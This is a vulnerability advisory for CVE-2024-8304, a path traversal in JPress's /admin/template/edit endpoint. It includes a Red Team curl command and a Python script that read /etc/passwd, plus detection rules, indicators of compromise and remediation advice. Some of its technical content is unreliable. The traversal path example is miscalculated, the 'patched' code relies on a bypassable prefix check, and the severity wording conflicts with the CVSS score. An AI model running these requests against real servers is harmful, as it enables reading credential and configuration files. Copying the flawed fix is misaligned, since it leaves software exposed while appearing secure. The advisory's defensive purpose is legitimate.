CVE-2024-8304

Executive Summary

CVE-2024-8304 is a critical path traversal vulnerability discovered in JPress, a Java-based content management system, affecting versions up to and including 5.1.1. The flaw resides in the Template Module Handler, specifically within the /admin/template/edit endpoint. An authenticated attacker can exploit this vulnerability to traverse directories and read arbitrary files on the server, potentially exposing sensitive configuration files, source code, or credentials. The vulnerability has been publicly disclosed with proof-of-concept code, increasing the risk of active exploitation. No official patch has been released by the vendor at this time.

Supply Chain & Package Security

JPress is a Java-based CMS distributed via Maven Central and GitHub. The vulnerable component is part of the core application. As no patch is available, organizations using JPress should consider this a supply chain risk and evaluate alternative CMS solutions or implement strict access controls.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account with template editing privileges.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Arbitrary file read can expose sensitive data.
• Integrity (I): None – No file modification is possible.
• Availability (A): None – No denial of service impact.

Threat Level: High – Public exploit code exists, and the vulnerability is trivial to exploit.

Deep Dive & Mechanics

The vulnerability exists in the TemplateController class of JPress, which handles requests to /admin/template/edit. The application fails to properly sanitize user-supplied input for the file parameter, allowing an attacker to inject path traversal sequences (e.g., ../) to escape the intended template directory.

Root Cause: The application uses a file path constructed from user input without validating that the resolved path remains within the allowed template directory. For example, the code may look like:

String filePath = request.getParameter("file");
File templateFile = new File(templateDir, filePath);

If templateDir is /var/www/jpress/templates/ and an attacker provides ../../etc/passwd, the resulting path becomes /var/www/jpress/etc/passwd, which resolves to /etc/passwd after normalization.

Attack Flow:

1. Attacker authenticates to JPress admin panel.
2. Attacker sends a GET request to /admin/template/edit?file=../../../../etc/passwd.
3. The server reads the file and returns its contents in the response.
4. Attacker can then read any file the web server user has access to.

Vulnerable vs. Patched Code

Vulnerable Code (JPress <= 5.1.1):

// TemplateController.java
@RequestMapping("/admin/template/edit")
public String edit(@RequestParam("file") String file, Model model) {
    String templateDir = getTemplateDir();
    File templateFile = new File(templateDir, file);
    // No path traversal check
    String content = FileUtils.readFileToString(templateFile, "UTF-8");
    model.addAttribute("content", content);
    return "/admin/template/edit";
}

Patched Code (Hypothetical fix):

// TemplateController.java
@RequestMapping("/admin/template/edit")
public String edit(@RequestParam("file") String file, Model model) {
    String templateDir = getTemplateDir();
    File templateFile = new File(templateDir, file);
    // Canonical path check to prevent traversal
    String canonicalPath = templateFile.getCanonicalPath();
    String canonicalTemplateDir = new File(templateDir).getCanonicalPath();
    if (!canonicalPath.startsWith(canonicalTemplateDir)) {
        throw new SecurityException("Path traversal detected");
    }
    String content = FileUtils.readFileToString(templateFile, "UTF-8");
    model.addAttribute("content", content);
    return "/admin/template/edit";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• JPress instance (version <= 5.1.1) with admin credentials.
• Network access to the admin panel.

Exploit Steps:

1. Authenticate to JPress admin panel (e.g., /admin/login).
2. Craft the exploit request using curl or a Python script.

curl -u "admin:password" "http://target.com/admin/template/edit?file=../../../../etc/passwd"

Python Exploit Script:

import requests

target = "http://target.com"
username = "admin"
password = "password"
file_to_read = "../../../../etc/passwd"

session = requests.Session()
session.auth = (username, password)

response = session.get(f"{target}/admin/template/edit", params={"file": file_to_read})
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Expected Output: Contents of /etc/passwd or other sensitive files.

Blue Team

Detection Steps:

1. Monitor HTTP logs for requests to /admin/template/edit with file parameters containing ../ sequences.
2. Alert on anomalous file reads – e.g., reading /etc/passwd, /etc/shadow, or application configuration files.
3. Implement WAF rules to block path traversal patterns in query parameters.

Honeypot Setup:

• Deploy a fake JPress instance with a decoy template directory.
• Monitor for any requests attempting to read files outside the template directory.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /admin/template/edit with file parameter containing ../ or absolute paths.
• User-Agent strings from known exploit tools (e.g., curl, Python-requests).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
• Log entries showing file reads outside the template directory.

Log IOCs:

• Web server logs showing 200 responses for requests to /admin/template/edit with suspicious file parameters.
• Application logs showing FileNotFoundException for paths outside the template directory.

Detection Engineering

YARA Rule

rule CVE_2024_8304_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting JPress template edit endpoint"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-8304"
    strings:
        $traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $endpoint = "/admin/template/edit"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: JPress Template Edit Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against JPress /admin/template/edit endpoint
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/template/edit'
        cs-uri-query|contains: 'file='
    filter:
        cs-uri-query|re: 'file=[^.]*\.(html|jsp|css|js)$'
    condition: selection and not filter
falsepositives:
    - Legitimate template editing with valid file names
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8304 JPress Template Edit Path Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/admin/template/edit"; http_uri; content:"file="; http_uri; pcre:"/file=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable template editing for non-admin users if possible.
2. Implement a WAF rule to block path traversal patterns in the file parameter.
3. Restrict file system permissions so the web server user cannot read sensitive files.

Long-term Fix:

• Apply input validation and canonical path checks as shown in the patched code example.
• Monitor the JPress repository for an official patch and apply it immediately when released.

Workaround:

• If template editing is not required, remove or disable the /admin/template/edit endpoint.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert